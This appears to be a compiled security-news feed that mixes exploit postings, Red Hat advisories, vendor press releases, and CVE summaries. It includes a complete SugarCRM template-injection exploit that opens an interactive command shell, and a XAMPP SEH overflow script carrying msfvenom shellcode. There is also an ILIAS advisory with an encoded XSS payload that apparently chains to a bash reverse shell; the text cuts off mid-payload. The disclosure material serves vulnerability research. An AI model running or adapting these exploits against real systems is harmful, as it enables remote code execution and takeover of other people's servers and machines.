SugarCRM versions 13.0.1 and below suffer from a server-side template injection vulnerability in the GetControl action from the Import module. This issue can be leveraged to execute arbitrary php code.

    ----------------------------------------------------------------------------SugarCRM <= 13.0.1 (GetControl) Server-Side Template Injection Vulnerability----------------------------------------------------------------------------[-] Software Link:https://www.sugarcrm.com[-] Affected Versions:Version 13.0.1 and prior versions.Version 12.0.3 and prior versions.[-] Vulnerability Description:There is a sort of Server-Side Template Injection (SSTI) vulnerability affectingthe "GetControl" action from the "Import" module. User input passed through the"field_name" parameter is not properly sanitized before being used to constructthe path of the template to include. As such, this can be abused to include andexecute arbitrary PHP code through Path Traversal attacks.[-] Proof of Concept:https://karmainsecurity.com/pocs/KIS-2023-10.php(Packet Storm note: POC included at bottom)[-] Solution:Upgrade to version 13.0.2, 12.0.4, or later.[-] Disclosure Timeline:[23/04/2023] - Vendor notified[21/09/2023] - Fixed versions released[06/10/2023] - CVE identifier requested[26/10/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has not assigned a CVE identifier for this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:https://karmainsecurity.com/KIS-2023-10[-] Other References:https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-010/--- KIS-2023-10.php poc  ---<?phpset_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[+] cURL extension required!\n");if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];print "[+] Logging in with username '{$user}' and password '{$pass}'\n";$ch = curl_init();$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");print "[+] Creating new Notes bean\n";$note_id = time().".tpl";curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));if (!preg_match('/"id":"'.$note_id.'"/', curl_exec($ch))) die("[+] Bean creation failed!\n");require_once("./lib/nusoap.php");$client = new nusoap_client("{$url}soap.php", false);if (($err = $client->getError())){  echo "\nConstructor error: $err";  echo "\nDebug: " . $client->getDebug() . "\n";  die();}print "[+] Sending SOAP login request\n";$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];$session = $client->call('login', $params);if ($session['id'] == -1) die("[+] SOAP login failed!\n");print "[+] Uploading template through 'set_note_attachment'\n";$params = ["session" => $session['id'], "note" => ["id" => $note_id, "file" => base64_encode("{php}passthru(\$_SERVER['HTTP_CMD']);{/php}")]];$result = $client->call("set_note_attachment", $params);print "[+] Getting PHPSESSID through BWC login\n";curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/bwc/login");curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([]));curl_setopt($ch, CURLOPT_HEADER, true);if (!preg_match("/PHPSESSID=([^;]+);/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");print "[+] Launching shell\n";$note_id = substr($note_id, 0, -4);curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/test");curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: PHPSESSID={$sid[1]}"]);curl_setopt($ch, CURLOPT_POST, false);curl_setopt($ch, CURLOPT_HEADER, false);curl_exec($ch);curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/../../../../upload/{$note_id}");while(1){    print "\nsugar-shell# ";    if (($cmd = trim(fgets(STDIN))) == "exit") break;    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd, "Cookie: PHPSESSID={$sid[1]}"]);    ($r = curl_exec($ch)) ? print $r : die("\n[+] Exploit failed!\n");}

SugarCRM 13.0.1 Server-Side Template Injection

XAMPP version 3.3.0 .ini unicode + SEH buffer overflow exploit.

# Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow (Unicode + SEH)  
# Date: 2023-10-26  
# Author: Talson (@Ripp3rdoc)  
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe  
# Version: 3.3.0  
# Tested on: Windows 11  
# CVE-2023-46517

##########################################################  
# _________ _______  _        _______  _______  _        #  
# \__   __/(  ___  )( \      (  ____ $  ___  )( (    /| #  
#    ) (   | (   ) || (      | (    \/| (   ) ||  \  ( | #  
#    | |   | (___) || |      | (_____ | |   | ||   \ | | #  
#    | |   |  ___  || |      (_____  )| |   | || (\ $ | #  
#    | |   | (   ) || |            ) || |   | || | \   | #  
#    | |   | )   ( || (____/\/\____) || (___) || )  \  | #  
#    )_(   |/     \|(_______/\_______)(_______)|/    )_) #  
#                                                        #  
##########################################################

# Proof of Concept:

# 1.- Run the python script "poc.py", it will create a new file "xampp-control.ini"  
# 2.- Open the application (xampp-control.exe)  
# 3.- Click on the "admin" button in front of Apache service.  
# 4.- Profit

# Proof-of-Concept code on GitHub: https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF/

# Greetingz to EMU TEAM (¬‿¬)⩙

from pwn import *  
import shutil  
import os.path

buffer      =   "\x41" * 268        # 268 bytes to fill the buffer  
nseh        =   "\x59\x71"          # next SEH address  — 0x00590071 (a harmless padding)  
seh         =   "\x15\x43"          # SEH handler       — 0x00430015: pop ecx ; pop ebp ; ret ;  
padd        =   "\x71" * 0x55       # padding

eax_align =     "\x47"         # venetian pad/align  
eax_align +=    "\x51"          # push ecx  
eax_align +=    "\x71"         # venetian pad/align  
eax_align +=    "\x58"        # pop eax               -> eax = 0019e1a0  
eax_align +=    "\x71"         # venetian pad/align   
eax_align +=    "\x05\x24\x11"  # add eax,0x11002300  
eax_align +=    "\x71"         # venetian pad/align  
eax_align +=    "\x2d\x11\x11"  # sub eax,0x11001100    -> eax = 0019F3DC  
eax_align +=    "\x71"         # venetian pad/align  
eax_align +=    "\x50"         # push eax   
eax_align +=    "\x71"        # pad to align the following ret  
eax_align +=    "\xc3";        # ret into eax?

# msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin  
# Payload size: 512 bytes  
shellcode = (  
    "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1"  
    "AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx"  
    "Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk"  
    "myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML"  
    "JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57"  
    "KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA"  
    )

shellcode = buffer + nseh + seh +  eax_align + padd + shellcode

check_file = os.path.isfile("c:\\xampp\\xampp-control.ini")

if check_file:

        print("[!] Backup file found. Generating the POC file...")  
    pass  
else:    
    # create backup  
    try:  
        shutil.copyfile("c:\\xampp\\xampp-control.ini", "c:\\xampp\\xampp-control.ini.bak")  
        print("[+] Creating backup for xampp-control.ini...")  
        print("[+] Backup file created!")  
    except Exception as e:  
        print("[!] Failed creating a backup for xampp-control.ini: ", e)

try:

        # Create the new file  
    with open("c:\\xampp\\xampp-control.ini", "w", encoding='utf-8') as file:  
        file.write(f"""[Common]  
    Edition=  
    Editor=  
    Browser={shellcode}

    Debug=0  
    Debuglevel=0  
    Language=en  
    TomcatVisible=1  
    Minimized=0

    [LogSettings]  
    Font=Arial  
    FontSize=10

    [WindowSettings]  
    Left=-1  
    Top=-1  
    Width=682  
    Height=441

    [Autostart]  
    Apache=0  
    MySQL=0  
    FileZilla=0  
    Mercury=0  
    Tomcat=0

    [Checks]  
    CheckRuntimes=1  
    CheckDefaultPorts=1

    [ModuleNames]  
    Apache=Apache  
    MySQL=MySQL  
    Mercury=Mercury  
    Tomcat=Tomcat

    [EnableModules]  
    Apache=1  
    MySQL=1  
    FileZilla=1  
    Mercury=1  
    Tomcat=1

    [EnableServices]  
    Apache=1  
    MySQL=1  
    FileZilla=1  
    Tomcat=1

    [BinaryNames]  
    Apache=httpd.exe  
    MySQL=mysqld.exe  
    FileZilla=filezillaserver.exe  
    FileZillaAdmin=filezilla server interface.exe  
    Mercury=mercury.exe  
    Tomcat=tomcat8.exe

    [ServiceNames]  
    Apache=Apache2.4  
    MySQL=mysql  
    FileZilla=FileZillaServer  
    Tomcat=Tomcat  
    [ServicePorts]  
    Apache=80  
    ApacheSSL=443  
    MySQL=3306  
    FileZilla=21  
    FileZill=14147  
    Mercury1=25  
    Mercury2=79  
    Mercury3=105  
    Mercury4=106  
    Mercury5=110  
    Mercury6=143  
    Mercury7=2224  
    TomcatHTTP=8080  
    TomcatAJP=8009  
    Tomcat=8005  
    [UserConfigs]  
    Apache=   
    MySQL=  
    FileZilla=  
    Mercury=  
    Tomcat=

    [UserLogs]  
    Apache=  
    MySQL=  
    FileZilla=  
    Mercury=  
    Tomcat=  
    """)  
    print("[+] Created the POC!")

except Exception as e:  
    print("[!] Failed creating the POC xampp-control.ini: ", e)

XAMPP 3.3.0 Buffer Overflow

Red Hat Security Advisory 2023-6148-01 - Red Hat Advanced Cluster Management for Kubernetes 2.7.9 General Availability release images, which provide security updates and fix bugs. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6148.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat Advanced Cluster Management 2.7.9 security and bug fix updates  
Advisory ID:        RHSA-2023:6148-01  
Product:            Red Hat ACM  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6148  
Issue date:         2023-10-26  
Revision:           01  
CVE Names:          CVE-2023-39318  
====================================================================

Summary: 

Red Hat Advanced Cluster Management for Kubernetes 2.7.9 General  
Availability release images, which provide security updates and fix bugs.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE links in the References section.

Description:

Red Hat Advanced Cluster Management for Kubernetes 2.7.9 images

Red Hat Advanced Cluster Management for Kubernetes provides the  
capabilities to address common challenges that administrators and site  
reliability engineers face as they work across a range of public and  
private cloud environments. Clusters and applications are all visible and  
managed from a single console—with security policy built in.

This advisory contains the container images for Red Hat Advanced Cluster  
Management for Kubernetes, which fix several bugs. See the following  
Release Notes documentation, which will be updated shortly for this  
release, for additional details about this release:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.7/html/release_notes/

Security fix(es):  
CVE-2023-44487 HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack  
CVE-2023-39325 golang: net/http, x/net/http2: rapid stream resets can cause excessive work  
CVE-2023-39321 golang: crypto/tls: panic when processing post-handshake message on QUIC connections  
CVE-2023-39319 golang: html/template: improper handling of special tags within script contexts  
CVE-2023-39318 golang: html/template: improper handling of HTML-like comments within script contexts  
CVE-2023-39322 golang: crypto/tls: lack of a limit on buffered post-handshake

Solution:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.7/html-single/install/index#installing

CVEs:

CVE-2023-39318

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-6148-01

Red Hat Security Advisory 2023-6145-01 - Multicluster Engine for Kubernetes 2.2.9 General Availability release images, which contain security updates and fix bugs. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6145.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Multicluster Engine for Kubernetes 2.2.9 security updates and bug fixes  
Advisory ID:        RHSA-2023:6145-01  
Product:            multicluster engine for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6145  
Issue date:         2023-10-26  
Revision:           01  
CVE Names:          CVE-2023-39318  
====================================================================

Summary: 

Multicluster Engine for Kubernetes 2.2.9 General Availability release images,   
which contain security updates and fix bugs.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE links in the References section.

Description:

Multicluster Engine for Kubernetes 2.2.9 images

Multicluster engine for Kubernetes provides the foundational components  
that are necessary for the centralized management of multiple  
Kubernetes-based clusters across data centers, public clouds, and private  
clouds.

You can use the engine to create new Red Hat OpenShift Container Platform  
clusters or to bring existing Kubernetes-based clusters under management by  
importing them. After the clusters are managed, you can use the APIs that  
are provided by the engine to distribute configuration based on placement  
policy.

Security fix(es):  
CVE-2023-44487 HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack  
CVE-2023-39325 golang: net/http, x/net/http2: rapid stream resets can cause excessive work  
CVE-2023-39321 golang: crypto/tls: panic when processing post-handshake message on QUIC connections  
CVE-2023-39319 golang: html/template: improper handling of special tags within script contexts  
CVE-2023-39318 golang: html/template: improper handling of HTML-like comments within script contexts  
CVE-2023-39322 golang: crypto/tls: lack of a limit on buffered post-handshake

Solution:

https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_management_for_kubernetes/2.7/html/clusters/cluster_mce_overview#installing-while-connected-online-mce

CVEs:

CVE-2023-39318

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-6145-01

**PRESS RELEASE**

**DENVER****,** **Oct. 26, 2023** **/PRNewswire/ --** New data from the Lumen Technologies (NYSE: LUMN) Distributed Denial of Service (DDoS) mitigation platform landed the banking industry in the unenviable position of being the most targeted vertical of Q3 2023. This is the first time the banking industry topped Lumen's "most targeted verticals" list and was largely due to the events of a single day: Sept. 21, 2023.

On that day, a single banking customer was targeted with more than 230 DDoS attacks – a whopping 4,500% increase over the daily average for that industry – yet it experienced no downtime. Had the attackers been successful, they could have caused significant damage in the form of lost business, remediation costs and reputational damage.

"The successful mitigations for this banking customer can be traced back to Lumen's multi-layered approach to DDoS mitigation," said Brett Lemarinel, director of unified threat management for Lumen. "It starts at our network, where countermeasures are built in, and our intelligent routing technology, which sends excess traffic through our 500+ scrubbing locations. Our DDoS customers have an added layer of protection from Rapid Threat Defense, our proprietary capability that utilizes threat intelligence from Lumen Black Lotus Labs® to block DDoS botnet traffic before it reaches the customer's environment."

Lemarinel continued, "This should be a warning to all other businesses. More than 230 mitigations in a single day suggests the threat actor was determined to wreak havoc on this customer. Even though the attacker failed, the activity we saw on Sept. 21 is a potent reminder that any business can be in an attacker's crosshairs on any given day."

**Other notable findings in the report include:**

A never-before-seen, four-vector combination was attempted during the Sept. 21 event. The four-vector combination included DNS Amplification, IP Fragmentation, Invalid Packets and Static Filtering. Cyber attackers frequently modify their vector combinations as they attempt to defeat mitigation strategies, but the Lumen DDoS mitigation platform has the flexibility required to recognize and stop these attacks before they impact the targeted customers. The total number of attacks decreased in Q3 2023. Attackers frequently run their operations like a business and, as with any business, cyberattacks have seasonal ups and downs. In Q3 2023, Lumen mitigated 4,217 attacks, which was a 23% quarter-over-quarter decrease and a 24% annual decrease. The banking industry was also the most-targeted vertical for application threats, according to Lumen's application protection partner, ThreatX. Among all industries, the highest percentage of blocked traffic (25.5%) came from programmatic access, which are suspicious, automated attempts to access a web application. This number is up 89% from the previous quarter. The banking sector experienced a significant percentage of "Attacks Against Authentication" (nearly 25%), which are used to gain unauthorized access to financial data. Financial institutions are attractive to attackers, as evidenced by the high attack ratio and combination of brute-force attacks that targeted banks in Q3. Protecting financial data is paramount, but robust web application and API protection solutions can help protect the industry.

"The Q3 ThreatX application attack analysis underscores the critical importance of bot protection and the need for awareness of industry-specific threats," said Neil Weitzel, director, Security Operations Center at ThreatX. "The especially high number of programmatic access threats this quarter underscores the prevalence of bots in API and application attacks. In addition, our findings reveal variations in threats across industries, so businesses must stay vigilant and proactive to safeguard their applications and APIs."

**About Lumen Technologies**

Lumen connects the world. We are igniting business growth by connecting people, data, and applications – quickly, securely, and effortlessly. Everything we do at Lumen takes advantage of our network strength. From metro connectivity to long-haul data transport to our edge cloud, security, and managed service capabilities, we meet our customers' needs today and as they build for tomorrow. For news and insights visit news.lumen.com, LinkedIn: /lumentechnologies, Twitter: @lumentechco, Facebook: /lumentechnologies, Instagram: @lumentechnologies, and YouTube: /lumentechnologies.

**About ThreatX**

ThreatX is managed API and application protection that lets you secure them with confidence, not complexity. It blocks botnets and advanced attacks in real time, letting enterprises keep attackers at bay without lifting a finger. Trusted by companies in every industry across the globe, ThreatX profiles attackers and blocks advanced risks to protect APIs and applications 24/7. Learn more at https://www.threatx.com.

Lumen Q3 DDoS Report: Banking Was the Most Targeted Industry for the First Time

**PRESS RELEASE**

**SEATTLE – Oct. 24, 2023 –** WatchGuard® Technologies, a global leader in unified cybersecurity, today announced the launch of WatchGuard MDR, a new 24/7 cybersecurity service purpose-built to make MDR vastly more accessible to managed service providers (MSPs) working to address soaring customer demand for managed cybersecurity delivery. The new service is managed by an elite team of cybersecurity experts and powered by AI. It requires no investment in a traditional security operation center (SOC) infrastructure, advanced technologies, or security experts, which addresses the pressures of scarce cybersecurity professionals and funding faced by MSPs.

“WatchGuard’s new solution has effectively super charged our managed security services business by allowing us to effortlessly tap into the immense potential of MDR and offer it as a value-added service to customers,” said Raul Zayas, president of ZTek Solutions. “By removing the burden on us to create a modern SOC, WatchGuard MDR expedited our ability to give customers what they need the most: top-notch, comprehensive cybersecurity backed by industry-leading cyber experts to ensure a resilient defense against evolving cyber threats. Not only has WatchGuard put us in the fast lane in that regard, they also make it all incredibly simple to do through their Unified Security Platform architecture to help ensure we stay ahead of the curve.”  

Highly customizable and scalable, this new MDR service further strengthens WatchGuard's Unified Security Platform architecture, providing advanced threat detection and response capabilities on top of WatchGuard EDR, EPDR, and Advanced EPDR that empower MSPs to build out robust, comprehensive security offerings for their customers. It comes with the support of WatchGuard’s automated Zero-Trust Application Service, Threat Hunting Service, advanced security analytics, threat intelligence, and a dedicated team of skilled cybersecurity analysts that monitor, detect, and respond to threats 24/7. 

“As a 100% channel-driven company, we wanted to deliver an enterprise-class MDR solution that would allow our MSP partners to expand their business without the expense of building their own SOC or adding to the challenges they already face in finding cybersecurity talent,” said Andrew Young, chief product officer at WatchGuard Technologies. “We are dedicated to supporting our MSP community, and the launch of WatchGuard MDR represents another milestone in the long-term trusted relationships we build with our partners. Not only does this service help MSPs break through existing barriers to entry for delivering managed security services – it allows them to capitalize on a growing opportunity with an innovative new solution we’ve purpose-built for them specifically.” 

**Key Features and Benefits**

WatchGuard MDR is the ideal choice for service providers looking to elevate the security posture of their customers, expand their portfolio, and generate recurring revenue streams with zero investment in modern security operations center (SOC), sophisticated and expensive AI-based technology, and scarce cybersecurity experts. Capabilities include:  

*   **24/7 Endpoint Activity Monitoring and Data Collection –** to provide real-time and retrospective monitoring using event data captured by WatchGuard EPDR or Advanced EPDR in WatchGuard’s modern SOC.
*   **24/7 Proactive Hunting and Detection** – to reduce time to detect and mitigate threats using AI, machine learning, and other advanced techniques to identify indicators of attack, while WatchGuard’s MDR threat hunters search for threats lurking in endpoints.
*   **24/7 Investigation and Validation** – to minimize the impact of potential threats by relying on WatchGuard experts to quickly investigate and accurately validate incidents to determine their nature and severity.
*   **Immediate Incident Notification** – to provide prompt notification with key insights such as affected machines and tactics used when a validated incident occurs so MSPs can take immediate action.
*   **Options for Mitigation and Guidelines for Remediation** – to give MSPs the flexibility to choose the strategy that works best for their business. They can rely on their own team with guidance from WatchGuard experts on how to contain and remove traces of an attack, restore data, patch vulnerabilities, and install additional controls. Or they can outsource the initial response and the containment through endpoint isolation to automated playbooks developed by WatchGuard MDR experts.
*   **Weekly Security Health Status Report and Monthly Activity Reporting** – to build trust with customers by providing regular reports on their security status, which service providers can customize to better engage customers with their MDR service and provide valuable feedback throughout the process.  

For more information about WatchGuard MDR, click here.

**About WatchGuard Technologies, Inc.**

WatchGuard® Technologies, Inc. is a global leader in unified cybersecurity. Our Unified Security Platform® is uniquely designed for managed service providers to deliver world-class security that increases their business scale and velocity while also improving operational efficiency. Trusted by more than 17,000 security resellers and service providers to protect more than 250,000 customers, the company’s award-winning products and services span network security and intelligence, advanced endpoint protection, multi-factor authentication, and secure Wi-Fi. Together, they offer five critical elements of a security platform: comprehensive security, shared knowledge, clarity & control, operational alignment, and automation. The company is headquartered in Seattle, Washington, with offices throughout North America, Europe, Asia Pacific, and Latin America. To learn more, visit WatchGuard.com.

For additional information, promotions and updates, follow WatchGuard on Twitter (@WatchGuard), on Facebook, or on the LinkedIn Company page. Also, visit our InfoSec blog, Secplicity, for real-time information about the latest threats and how to cope with them at www.secplicity.org. Subscribe to The 443 – Security Simplified podcast at Secplicity.org, or wherever you find your favorite podcasts.

WatchGuard Launches MDR Service, Helps MSPs Accelerate Cybersecurity Service Delivery

An issue in Mintty v.3.6.4 and before allows a remote attacker to execute arbitrary code via crafted commands to the terminal.

CVE-2023-39726: "[31m"?! ANSI Terminal security in 2023 and finding 10 CVEs

browserify-sign is a package to duplicate the functionality of node's crypto public key functions, much of this is based on Fedor Indutny's work on indutny/tls.js. An upper bound check issue in `dsaVerify` function allows an attacker to construct signatures that can be successfully verified by any public key, thus leading to a signature forgery attack. All places in this project that involve DSA verification of user-input signatures will be affected by this vulnerability. This issue has been patched in version 4.2.2.


**Summary**

An upper bound check issue in dsaVerify function allows an attacker to construct signatures that can be successfully verified by any public key, thus leading to a signature forgery attack.

**Details**

In dsaVerify function, it checks whether the value of the signature is legal by calling function checkValue, namely, whether r and s are both in the interval [1, q - 1]. However, the second line of the checkValue function wrongly checks the upper bound of the passed parameters, since the value of b.cmp(q) can only be 0, 1 and -1, and it can never be greater than q.

In this way, although the values of s cannot be 0, an attacker can achieve the same effect as zero by setting its value to q, and then send (r, s) = (1, q) to pass the verification of any public key.

**Impact**

All places in this project that involve DSA verification of user-input signatures will be affected by this vulnerability.

**Fix PR:**

Since the temporary private fork was deleted, here's a webarchive of the PR discussion and diff pages: PR webarchive.zip

CVE-2023-46234: An upper bound check issue in `dsaVerify` leads to a signature forgery attack

ILIAS 7.25 (2023-09-12) allows any authenticated user to execute arbitrary operating system commands remotely, when a highly privileged account accesses an XSS payload. The injected commands are executed via the exec() function in the execQuoted() method of the ilUtil class (/Services/Utilities/classes/class.ilUtil.php) This allows attackers to inject malicious commands into the system, potentially compromising the integrity, confidentiality, and availability of the ILIAS installation and the underlying operating system.

Vulnerability

Product

Impact

CVE

OS Command Injection

ILIAS

Kritisch

CVE-2023-45869

**Responsible Disclosure**

⚑ 25. Sep. 2023 - Die Sicherheitslücke wurde entdeckt.  
→ 26. Sep. 2023 - Die Sicherheitslücke wurde an ILIAS gemeldet.  
← 29. Sep. 2023 - ILIAS bestätigt den Erhalt des Reports.  
← 06. Okt. 2023 - ILIAS bestätigt, dass die Sicherheitslücke geschlossen wurde.  
← 23. Okt. 2023 - Patched ILIAS-Release: 8.6, 7.26

**1\. Allgemeine Beschreibung**

Die identifizierte Sicherheitslücke wurde in **ILIAS Version7.25 (2023-09-12 Release)** entdeckt.

Es handelt sich um eine sogenannte OS Command Injection Sicherheitslücke. Dies ist eine Sicherheitslücke, bei der von einem Angreifer übermittelte Befehle auf Betriebssystem-Ebene ausgeführt werden können. In diesem Fall ermöglicht die Schwachstelle einem Angreifer Kommandozeilen-Befehle auszuführen.

Ein Benutzer mit Administratorrechten kann Einstellungen für den PDF-Renderer konfigurieren. Ein Angreifer hat in dieser Komponente potenziell die Möglichkeit Systembefehle einzuschleusen, welche die reguläre Befehlsausführung erweitert. Aufgrund fehlender Eingabeüberprüfung ist es möglich, die Befehlskette beliebig zu erweitern.

Eine bekannte Sicherheitslücke (CVE-2022-45915) könnte hierzu hilfreich sein, da dieselbe Komponente betroffen ist. Der entscheidende Unterschied ist, dass für die Übermittlung einer Payload nicht der Pfad zur Binary wkhtmltopdf selbst, sondern Eingabefelder der Options-Parameter vulnerabel sind.

Besonders kritisch macht diese Schwachstelle, dass sie unter Umständen als normaler User ausgenutzt werden kann. Unter "normal" verstehen wir einen User Account mit den voreingestellten Rechten einer aufgesetzten ILIAS Instanz.

Der folgende PoC und die abschließende Klassifizierung bilden das Worst-Case-Szenario ab. Der Angriff erfolgt durch einen Account mit User-Rechten.

**2\. Proof of Concept (PoC)**

 Your browser does not support the video tag.  
Download video? Here.

**3\. Reproduktion der Schwachstelle****3.1 Reproduktionsschritte (Worst-Case)****Vorabhinweis**

Möchten Sie die Schwachstelle nicht mit dem größtmöglichen Impact, sondern auf einfachem Wege als Administrator reproduzieren, überspringen Sie die folgend aufgeführten Schritte und folgen Sie den Anweisungen unter dem Punkt "_3.2 Reproduktionsschritte (als Admin)_".

**Schritt 1:**

Installieren Sie eine ILIAS-Version7.25 2023-09-12 Instanz auf einem Testsystem. Erstellen Sie neben dem gegebenen Administrator einen weiteren User Account:

1.  "root" (ein Administrator)
2.  "testuser" (ein normaler User, der Angreifer)

**Schritt 2:**

Aktivieren Sie mit dem Administrator-Account unter Administration > Layout und Navigation > Editor > HTML/Javascript erlauben die Checkbox bei Modules/Portfolio: Portfolioseite.

**Schritt 3:**

Loggen Sie sich mit dem **User Account** "testuser" ein.  
Navigieren Sie auf Persönlicher Arbeitsraum > Portfolio und erstellen Sie ein Portfolio mit einer leeren Seite. Bearbeiten Sie die leere Seite und erstellen Sie das Inhaltselement Text einfügen.

Kopieren Sie die folgende Payload in einen Texteditor Ihrer Wahl. Ersetzen Sie die im Data-Attribut ( data-ip) gegebene IP 123.456.78.910 mit **Ihrer öffentlichen IP** (also die IP-Adresse, welche für eine Verbindung zum Webserver verwendet werden soll – z.B. die Ihres PCs).

<img data-ip="123.456.78.910" id="sUhDeWhSwd" src=x onerror=eval(atob('dmFyIHBpPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzVWhEZVdoU3dkIiksYWk9cGkuZGF0YXNldC5pcCxzPShlLHQsbyk9Pm5ldyBQcm9taXNlKGE9Pnt2YXIgcz1uZXcgWE1MSHR0cFJlcXVlc3Q7cy5vcGVuKHQsZSwhMCkscy5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSxzLnJlc3BvbnNlVHlwZT0idGV4dCIscy5vbnJlYWR5c3RhdGVjaGFuZ2U9KCgpPT57NCE9cy5yZWFkeVN0YXRlfHwyMDAhPXMuc3RhdHVzJiYzMDIhPXMuc3RhdHVzfHxhKHMpfSkscy5zZW5kKG8pLHNldFRpbWVvdXQoKCk9PntzLmFib3J0KCksYSgpfSwxZTMpfSksYj13aW5kb3cubG9jYXRpb24ucHJvdG9jb2wrIi8vIit3aW5kb3cubG9jYXRpb24uaG9zdCx0PShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pfHxbXSlbMV07cyhiKyIvaWxpYXMucGhwP3JlZl9pZD02NyZhZG1pbl9tb2RlPXNldHRpbmdzJmNtZD1wb3N0JmNtZENsYXNzPWlsb2JqcGRmZ2VuZXJhdGlvbmd1aSZjbWROb2RlPTFkOm96JmJhc2VDbGFzcz1pbEFkbWluaXN0cmF0aW9uR1VJJmZhbGxiYWNrQ21kPXZpZXcmcnRva2VuPSIrdCwiUE9TVCIsInBhdGg9JTJGdXNyJTJGYmluJTJGd2todG1sdG9wZGYmZXh0ZXJuYWxfbGlua3M9MSZqYXZhc2NyaXB0X2RlbGF5PTIwMCslMjIxMjcuMC4wLjElMjIrJTJGdG1wJTJGeC5wZGYrJTI2JTI2K3JtKyUyRnRtcCUyRngucGRmKyUyNiUyNislMkZiaW4lMkZiYXNoKy1jKyUyN2Jhc2grLWkrJTNFJTJGZGV2JTJGdGNwJTJGIithaSsiJTJGMTIzNCswJTNFJTI2MSU